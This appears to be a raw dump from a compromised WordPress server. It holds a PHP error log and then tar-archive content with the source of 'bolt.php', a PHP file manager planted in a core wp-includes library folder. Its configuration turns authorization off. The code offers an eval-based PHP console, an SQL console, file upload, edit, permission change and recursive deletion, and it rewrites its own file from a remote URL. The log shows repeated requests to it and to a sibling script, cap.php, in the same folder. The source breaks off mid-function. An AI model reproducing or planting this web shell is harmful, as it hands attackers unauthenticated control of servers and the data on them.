[25-Jun-2026 18:50:42 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:47 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:11 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:23 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:48 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:54 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:08 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:10 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:30 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:37:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:59 UTC] PHP Warning:  fileperms(): stat failed for /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/error_log.tar.gz in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 134
[25-Jun-2026 19:38:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:04 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:11 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
                                                                                                                                                                                                                                                                                                                                                                                                                   bolt.php.tar                                                                                        0000644                 00000236000 15217301621 0007001 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php                                 0000644                 00000232745 15217274105 0021423 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
